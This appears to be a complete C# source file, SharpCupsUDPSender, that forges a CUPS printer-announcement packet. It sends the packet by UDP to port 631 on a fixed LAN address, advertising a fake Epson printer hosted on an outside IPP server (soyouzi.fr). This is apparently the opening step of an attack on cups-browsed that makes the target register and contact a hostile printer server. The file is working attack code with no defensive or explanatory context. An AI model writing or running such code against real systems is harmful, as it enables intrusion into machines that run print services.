41 lines
1.3 KiB
C#
41 lines
1.3 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Net.Sockets;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace SharpCupsUDPSender
|
|
{
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
string ip = "192.168.74.113";
|
|
int port = 631;
|
|
string scheme = "https";
|
|
string ippServerHost = "soyouzi.fr";
|
|
int ippServerPort = 443;
|
|
|
|
Console.WriteLine($"Sending UDP packet to {ip}:{port}...");
|
|
|
|
int printerType = 2;
|
|
string printerState = "3";
|
|
string printerUri = $"{scheme}://{ippServerHost}:{ippServerPort}/printers/EPSON";
|
|
string printerLocation = "\"Idle\"";
|
|
string printerInfo = "\"Configuration Error\"";
|
|
string printerModel = "\"ESPON Inkjet 9055\"";
|
|
|
|
printerInfo = $"\"{DateTimeOffset.Now.ToUnixTimeSeconds().ToString()}\"";
|
|
|
|
string packet = $"{printerType:X} {printerState} {printerUri} {printerLocation} {printerInfo} {printerModel} \n";
|
|
|
|
using (UdpClient udpClient = new UdpClient())
|
|
{
|
|
byte[] data = Encoding.UTF8.GetBytes(packet);
|
|
udpClient.Send(data, data.Length, ip, port);
|
|
}
|
|
}
|
|
}
|
|
}
|